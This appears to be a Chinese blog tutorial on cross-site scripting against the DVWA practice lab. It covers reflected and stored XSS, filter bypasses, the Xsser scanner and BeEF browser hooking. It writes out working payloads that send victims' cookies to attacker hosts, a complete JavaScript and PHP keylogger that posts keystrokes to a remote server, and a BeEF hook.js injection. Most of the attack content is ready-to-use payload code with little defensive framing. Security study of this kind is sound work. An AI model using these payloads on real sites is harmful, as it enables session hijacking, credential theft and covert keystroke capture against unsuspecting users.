Xss

XSS漏洞

XSS-跨站脚本攻击


  1. 是注入型的漏洞,利用提交数据时提交恶意的脚本代码到访问的页面,使页面识别代码并执行。
  2. 服务器对用户提交的数据过过滤不严格
  3. 提交到服务器脚本被直接返回客户端执行
  4. 脚本在客户端执行恶意操作
  5. 三种类型:
    * (存储型xss)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
    * (反射型xss)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
    * DOM跨站(DOM XSS):
  6. Chrome和Safari有xss Auditor,在浏览器层面就直接拦截恶意的脚本执行什么<script>,<ifame>,onclick属性都过滤。基本上我这种小白是绕不去了。可以在谷歌运行方式的属性后面加上--args --disable-xss-auditor关闭这个功能,或者直接用火狐浏览器。

    chrome的xss检测名称为 xssAuditor 整合到webkit当中,chrome这么做的原因是因为过滤器可以在脚本执行之前就可以拦截,而且任何使用webkit都可以使用这些规则
    当加载网页时,xssAuditor会在渲染的之前评估用户的输入数据:
    1.检查用户输入是否包含恶意内容,如果存在进行拦截
    2.xssAuditor检测用户是否会反射到渲染的页面中(html实体/html熟悉/javascript/css/url)
    3.评估输入上下文是否合法,非法进行过滤

Reflected(反射型)


1.(low安全级别)
  1. 当输入1的时候,内容被直接返回,这里就有可能存在xss漏洞。

  2. 当在提交的数据里面输入<script>alert('xss')</script>时,提交的代码被执行了,出现弹窗,即存在xss漏洞。

  3. 可以使用<a>标签的onclick属性来实现点击后出现弹窗<a href='' onclick=alert('xss')>click</a>

  4. 使用<img>标签的错误信息来<img src=http://1.1.1.1/a.jpg οnerrοr=alert(‘图片加载错误’)>实现弹窗

  5. 页面重定向,使用nc监听80端口,使用下面脚本<script>window.location='http://172.20.10.13/'</script>,发现主机被访问过

  6. 是<ifame>可以达到相同的效果`

  7. 使用document.cookie可以获取客户端的cookie <script>new+Image().src="http://172.20.10.13/c.php?output="+document.cookie;

  8. 在客户端的篡改页面:<script>document.body.innerHTML="<div style=><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>在这里插入图片描述

  9. 窃取cookie:使用<script src=http://1.1.1.1/a.js></script> 让客户端访问第三方的a.js文件。a.js内容如下: var img = new Image(); img.src = "http://1.1.1.2:81/cookies.php?cookie="+document.cookie;。客户端会将a.js中的内容执行将cookie合并到url中去访问攻击者的主机。
    *我们在window主机上输入 <script src=http://1.1.1.1/a.js></script>使主机去访问kali上的a.js文件,window主机就会将cookie发送给kali。kali监听81端口(a.js可以放在一台肉机上只要里面的地址指向kali就行)

  10. 键盘记录器keylogger.js。将键盘输入的内容发送到192.168.1.1/keylogger.php下,php再将键盘记录到keylog.txt下。

    keylogger.js:	
    document.onkeypress = function(evt) { 
    	evt = evt || window.event 
    	key = String.fromCharCode(evt.charCode) 
    	if (key) { 
     		var http = new XMLHttpRequest();
      		var param = encodeURI(key) ;
    		http.open("POST","http://192.168.1.1/keylogger.php",true);
            http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
            http.send("key="+param); 
            }
        }
    
    keylogger.php
     <?php • $key=$_POST['key']; 
      $logfile="keylog.txt"; 
      $fp = fopen($logfile, "a"); 
      fwrite($fp, $key); 
      fclose($fp); 	
      ?>
    

    keylog.txt内容为空

    页面输入xss漏洞,内容<script src=http://172.20.10.13/keylogger.js></script>,然后随意敲击键盘,查看keylog.txt


2.Xsser自动化工具
  1. Xsser有图形化界面,也可以使用命令行。看个人选择
  2. xsser -u “http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" -cookie="security=low; PHPSESSID=e63b1e5e9f6a0d69f25d86184ba16966" -s -v --reverse-check
    * 需要将参数部分分开,写出提交方式-g get方式,-p post方式
    * -s 统计尝试次数,-v显示详细信息
    * --reverse-check 尝试提交一个真正的建立网络连接的脚本,而不是提交一个随机的hash值
  3. 但是我的kali上不知道什么原因,手动已经检测到xss漏洞的页面但是xsser一直无法探测到xss漏洞,重装xsser也无效(网上也没有查到解决办法)

3.(其他安全级别)
  1. 中安全级别输入的时候不对数据进行过滤,但是输出将<script>t替换为空格‘’
  2. 可以使用<scr<script>ipt>进行绕过过滤,或者使用onclick等其他属性
  3. 高安全级别
  4. 使用htmlspeacalchar()函数将"<",">",":","“等在HTML页面中具有特殊意义的符号过滤。难以绕过过滤。将”<“使用 &lt; 代替”>"使用&gt;代替

存储型xss

  1. 在评论,留言板等地方可能存在。时间久,更加方便,只需要被害者打开网站就可以直接执行,不太需要社会工程学。
  2. 在low安全级别下的dvwa里提交表单里面name栏提交<script>alert('xss')</script>后,脚本被执行。因为代码被写入数据库所以是存储型的xss漏洞,只要每次页面被刷新,脚本都会被执行。
    message同样存在漏洞
  3. 同样去访问第三方网站下的a.js,js会执行将cookie发送给攻击者的主机,攻击者只需要监听规定的端口在这里插入图片描述执行之后,攻击者接受到cookie

BEEF浏览器漏洞利用框架

  1. kali打开beef xss framework
  2. 在可以进行xss漏洞攻击的地方提交代码<script src="http://172.20.10.13:3000/hook.js"></script>。在http://127.0.0.1:3000/ui/panel页面可以看到被hook的页面上线
  3. 基本可以控制这个客户端页面,可以使用各种模块,可以不用再编写脚本,直接选择各个模块,就可以得到大部分想要的信息。
  4. Detail:浏览器信息、插件信息、操作系统信息
  5. Logs:浏览器客户端页面的动作:鼠标点击信息,键盘键入信息,焦点变化都会直接被记录。
  6. command:模块命令,可以获取各类详细的信息。
  7. 这个软件非常适合那些js不厉害的人。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值